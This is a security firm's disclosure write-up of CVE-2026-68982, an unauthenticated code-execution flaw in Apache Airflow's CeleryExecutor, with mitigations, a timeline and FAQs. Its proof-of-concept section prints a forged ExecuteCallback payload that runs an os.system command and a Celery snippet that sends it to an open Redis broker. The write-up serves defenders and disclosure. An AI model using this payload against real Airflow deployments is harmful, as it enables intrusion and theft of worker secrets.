CVE-2026-68982: Unauthenticated RCE in Apache Airflow

Reflectiz Research Lab - Pentesting. Same Token. Different Door. Three doors labeled UI / API, ExecuteTask, and ExecuteCallback. The first two are locked. The ExecuteCallback door stands open, illustrating CVE-2026-68982 in Apache Airflow.
Share article
twitter linkedin medium facebook

TL;DR

  • What: CVE-2026-68982 is a missing-authentication flaw (CWE-306) in Apache Airflow’s CeleryExecutor. Anyone who can write to the Celery broker can make a worker run any Python function it can import, with arguments they choose.
  • Why: Airflow checks credentials on the UI and REST API, and checks a signed token on ExecuteTask messages. ExecuteCallback messages on the same broker get no check.
  • What the attacker skips: credentials, DAGs, DagRuns, the scheduler. Nothing shows up in Airflow’s UI or API.
  • Affected versions: Apache Airflow before 3.4.0, on deployments using CeleryExecutor (per Apache’s advisory).
  • Fix: upgrade to Airflow 3.4.0 (released November 6, 2026). Lock down your broker today.

What to do right now

You’re affected if all three are true:

  • You run Apache Airflow before 3.4.0.
  • You use CeleryExecutor.
  • Anyone you don’t trust can reach your Celery broker.

Do this now:

  1. Upgrade to 3.4.0 on the Execution API server and every CeleryExecutor worker, or the fix doesn’t take effect. There is no earlier patched release.
  2. Require broker authentication now. Redis AUTH or a RabbitMQ user and password closes this and every other broker-write path, patched or not.
  3. Take the broker off the public internet. Ports 6379 (Redis) and 5672 (RabbitMQ) should never face the internet.
  4. Don’t rely on Airflow’s UI for detection. This attack leaves no DagRun or TaskInstance. Audit broker traffic and Celery worker process logs directly.

Three doors, one unlocked

Airflow gives a worker three ways to be told to run code. The web UI and REST API reject anyone without credentials. ExecuteTask messages on the Celery broker carry a signed token, and the Execution API validates it before the task runs. ExecuteCallback messages on the same broker are checked by nothing. CVE-2026-68982 walks through that third door.

No JWT, no valid DagRun, no scheduler, and no contact with the webserver or the Execution API. I confirmed it live against Apache Airflow 3.2.1 and 3.3.0, the latest release at the time of testing, in Docker Compose labs running CeleryExecutor with a Redis broker and a PostgreSQL backend.

How I found it

The most interesting part of this story isn’t the bug. It’s that my AI assistant told me to give up right before I found it.

I’d already pulled one CVE out of Airflow, CVE-2026-45192, the usual way: scanning for exposed, unauthenticated instances, then hunting through the product with Claude Code and Burp Suite Pro. I was sure there was more.

So I kept grinding, and at some point Claude pushed back, almost word for word: “Look, Or, there’s nothing here. This product is very well known, there’s a huge amount of community involvement. Leave it, and go look somewhere else.”

I didn’t listen, but I did change the question. Instead of staying buried in source code, I started interrogating deployments. I had Claude stand up Airflow in every configuration I could think of, and for each one I asked the same thing: what if an attacker could reach this piece? One of those “what ifs” became the unauthenticated RCE in this write-up.

The tooling did much of the work, and I lean on it heavily. But this bug lived in a gap no amount of code-reading would surface. It only appeared once I stopped reading code and started attacking the architecture.

What Apache Airflow is

Apache Airflow is the open-source orchestrator teams use to schedule data pipelines: the recurring jobs that move and transform data, retrain machine learning models, and run reports. It has 47,000+ GitHub stars and over a billion PyPI downloads. It holds production secrets (cloud credentials, database passwords, API tokens), and its job is to run Python and shell code on a schedule. That combination is why its bugs matter well beyond “a scheduler broke.” For the wider exposure picture, see our Airflow exposure research.

Three terms matter here:

  • DAG: a Python file that defines a pipeline’s tasks and the order they run in. A DAG author is someone trusted to write and deploy that code.
  • DagRun: one execution of a DAG.
  • CeleryExecutor: a deployment mode that splits Airflow across machines. The scheduler drops jobs onto a message queue (the broker, usually Redis or RabbitMQ), and separate worker machines pull them off and run them.

This attack needs no DAG, no DagRun, and no DAG author. It targets how a worker decides whether to trust a message it pulls off the broker.

Why this isn’t just “you left your broker open”

The obvious objection: isn’t this just an exposed Redis instance doing what exposed Redis instances do?

No. Airflow’s own Security Model draws the line: “In case of Celery Executor, Dag authors can execute arbitrary code on the Celery Workers.” A DAG author is already trusted to deploy code into the system. The attacker here holds no Airflow credentials and is not a DAG author. They only have network reach to the broker. ExecuteCallback hands that weaker, unauthenticated attacker the outcome the docs reserve for a trusted DAG author. That gap is the vulnerability, not the broker’s authentication settings.

The question was never whether a worker executes code. It’s which broker messages a worker acts on without checking who sent them. Airflow already drew that line for ExecuteTask: the token is validated before the worker acts. ExecuteCallback is the one path, on the same broker and the same execute_workload task, where that check was never added. The 3.4.0 fix closes it the same way: the worker now redeems a single-use token with the Execution API before any callback runs.

Apache has treated broker access as a security boundary before. In 2020 it fixed CVE-2020-11981, where an attacker who could reach the Celery broker could make workers on Airflow 1.10.10 and earlier run arbitrary commands. CVE-2026-68982 is a new flaw on a different code path. Apache’s advisory lists the 2020 CVE as related.

It doesn’t need a DAG

The demo ran against an environment with zero DAGs loaded, ever, and the attack created zero DagRuns and zero TaskInstances. That’s not a gap in the proof of concept. ExecuteCallback is a separate, DAG-independent dispatch mechanism, added to support synchronous Deadline Alert callbacks. It’s distinct from ExecuteTask, which runs a real DAG task.

What are those callbacks for? Deadline Alerts let an operator say “this DAG run must finish by 5:30 AM, and if it misses, run this function”: page the on-call, post to Slack, start remediation. When the deadline trips, the scheduler ships the callback to a worker over the broker. The worker imports the function the DAG author configured and calls it. Importing a module by name and calling it is the intended behavior: it’s how the feature runs the callback you asked for. The bug is that the broker message carrying “run this callback” was never authenticated, so an attacker can forge it and name their own function.

Deadline Alerts are still documented as experimental, but that doesn’t narrow exposure. execute_workload and its ExecuteCallback handling register on every CeleryExecutor worker the moment the Celery provider loads. A deployment doesn’t need to use, configure, or even know about Deadline Alerts to be exposed.

Root cause

execute_workload deserializes whatever JSON body arrives on the broker into a typed object, based only on its declared shape. There is no signature, no HMAC, and no broker-side ACL tying a message to something a real scheduler issued. For type: "ExecuteTask", the Execution API server checks the token later, via supervise_task(), so a forged task workload is rejected there. type: "ExecuteCallback" carries the same token field. Neither execute_callback_workload() (3.2.1) nor supervise_callback() / CallbackSubprocess (3.3.0) verifies it before running the callback:

callback_path = callback.data.get("path")          # attacker-controlled
callback_kwargs = callback.data.get("kwargs", {})   # attacker-controlled
module_path, function_name = callback_path.rsplit(".", 1)
module = import_module(module_path)
callback_callable = getattr(module, function_name)
result = callback_callable(**callback_kwargs)       # executes immediately

In 3.3.0 this moved into a forked subprocess (CallbackSubprocess) that also builds an httpx.Client carrying the token. That step makes no network call and validates nothing. The callback still runs unconditionally, before any server-side check could happen.

import_module and getattr can reach any module importable in the worker’s environment: os, subprocess, provider Notifier classes, anything on the dependency tree. The resulting callable runs with keyword arguments the attacker fully controls. That makes this arbitrary code execution, not just unauthorized task replay.

Proof of concept

Same invalid token. The difference is which door it walks through.

One continuous, uncut terminal session, no audio. Airflow’s UI and API reject unauthenticated requests and an invalid ExecuteTask token. Then the same garbage token, sent as an ExecuteCallback workload straight to the broker, runs anyway. The lab uses the broker settings from Airflow’s Docker Compose quick start (no Redis password), and every key on screen was generated for this lab.

What the video shows

  • 0:00 The REST API rejects every unauthenticated call (401).
  • 0:24 The broker accepts connections with no AUTH.
  • 0:37 The Execution API rejects a missing or fake token (401 and 403).
  • 0:52 The same fake token goes straight to the broker as an ExecuteCallback workload.
  • 1:10 Proof: a loot file comes off the worker, and Airflow’s API still shows 0 DAGs and 0 DagRuns.

Reproduce it

Lab: Apache Airflow 3.2.1, and separately 3.3.0. Docker Compose, CeleryExecutor, Redis broker, PostgreSQL backend. Only Postgres, Redis, and a single Celery worker were running. No scheduler and no valid DagRun at any point.

Step 1: Forge an ExecuteCallback workload. No valid token needed. Any string, including an empty one, is accepted:

{
  "token": "",
  "dag_rel_path": "does_not_matter.py",
  "bundle_info": {"name": "dags-folder", "version": null},
  "log_path": null,
  "type": "ExecuteCallback",
  "callback": {
    "id": "<uuid4>",
    "fetch_method": "import_path",
    "data": {
      "path": "os.system",
      "kwargs": {"command": "touch /tmp/pwned_by_broker_callback"}
    }
  }
}

Step 2: Send it straight to the broker, with no Airflow credentials of any kind, only broker connectivity:

from celery import Celery
app = Celery(broker="redis://<broker-host>:6379/0")
app.send_task("execute_workload", args=[json.dumps(payload)], queue="default")

The worker log and a loot file written to the worker’s own filesystem confirm the callback ran. Airflow’s own API saw nothing: /api/v2/dags still returns total_entries: 0.

The written PoC uses os.system with a harmless touch as a marker. The recorded demo goes further: it dumps the worker’s id, hostname, and every AIRFLOW__* environment variable, including the Fernet key. Any importable callable in the worker’s environment is reachable the same way.

Why this matters

It reopens a primitive Airflow has closed before (broker access equals code execution on a worker) through a side channel on the same broker and the same task name. The bar is low: no credentials, no DagRun, no DAG, only network reach to the broker. That posture is common well beyond Airflow. And the exposure is real: our July 2026 Shodan research on Airflow/Celery clusters found 198 of 211 reachable Redis brokers answering with no authentication (full research).

Anyone who can write to the broker gets:

  • Arbitrary code execution on every Celery worker in the cluster
  • Use of any importable provider integration (notifiers, hooks) with the worker’s own credentials
  • No DagRun or TaskInstance, so no audit trail in Airflow’s UI or API

Severity: Apache’s advisory rates it Important. No official CVSS score has been published yet. Reflectiz’s CVSS v3.1 score is 9.8 (Critical): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The only precondition is write access to the broker.

Disclosure timeline

Date Event
Aug 1, 2026Report submitted to the Apache Airflow Security Team
Aug 2, 2026CVE-2026-68982 reserved, credited to Or Sahar (Reflectiz)
Nov 6, 2026Apache Airflow 3.4.0 released with the fix (apache/airflow#71192)
Nov 9, 2026Apache publishes the security advisory for CVE-2026-68982

Thanks to the Apache Airflow security team, and to Sean Ghaeli for developing the fix.

Where Reflectiz fits

AI tools did much of the legwork on this bug. The breakthrough came from asking a different question. Attackers have the same tools. Offensive Hub puts them to work for you: continuous agentic pentesting of your web apps, built by web security experts, not an AI lab. For a production example, read how an AI agent found a critical OTP bypass.


Or Sahar is a Security Researcher at Reflectiz with two decades of experience breaking, building, and securing software. Connect with her on LinkedIn: securylight.

FAQs

What is CVE-2026-68982?

CVE-2026-68982 is a missing-authentication flaw (CWE-306) in Apache Airflow’s CeleryExecutor. Workers ran ExecuteCallback workloads from the Celery broker without validating their token, so anyone who can write to the broker can make a worker import and call any Python function, with arguments they choose. Apache fixed it in Airflow 3.4.0. Or Sahar of Reflectiz found and reported it.

Which Apache Airflow versions are affected by CVE-2026-68982?

Apache’s advisory lists every Airflow version before 3.4.0 as affected when it runs CeleryExecutor, including 3.3.1 and 3.3.2. The fix ships in Airflow 3.4.0, released November 6, 2026. There is no earlier patched release.

Am I exposed to CVE-2026-68982 if I don't use Deadline Alerts?

Yes. The worker code that handles ExecuteCallback workloads loads on every CeleryExecutor worker with the Celery provider. Your deployment doesn’t need to use or configure Deadline Alerts for a forged callback to run.

Does CVE-2026-68982 affect LocalExecutor or KubernetesExecutor?

Apache scopes the advisory to deployments that use CeleryExecutor, because the forged message arrives through the Celery broker. If CeleryExecutor is one of the executors you run, its workers are exposed.

How do I fix CVE-2026-68982?

Upgrade to Airflow 3.4.0 on both the Execution API server and every CeleryExecutor worker. Until then, require authentication on the broker (Redis AUTH or a RabbitMQ user and password) and keep ports 6379 and 5672 off the public internet.

How can I tell if CVE-2026-68982 was exploited in my environment?

Don’t rely on Airflow’s UI or REST API. The attack creates no DagRun or TaskInstance, so nothing shows up there. Review broker traffic and Celery worker process logs for ExecuteCallback workloads your scheduler never issued.

Subscribe to our newsletter

Stay updated with the latest news, articles, and insights from Reflectiz.

AI Has Changed The Web.

Are You Ready for What’s Next?

Third-party code shifts by the hour. Supply-chain compromises strike without warning. AI-driven web attacks now evolve faster than traditional security can ever keep up.

Reflectiz delivers the continuous, real-time visibility needed to expose the risks traditional tools miss entirely.

Zero code changes. Zero access to your data. Ultimate peace of mind.

Try for free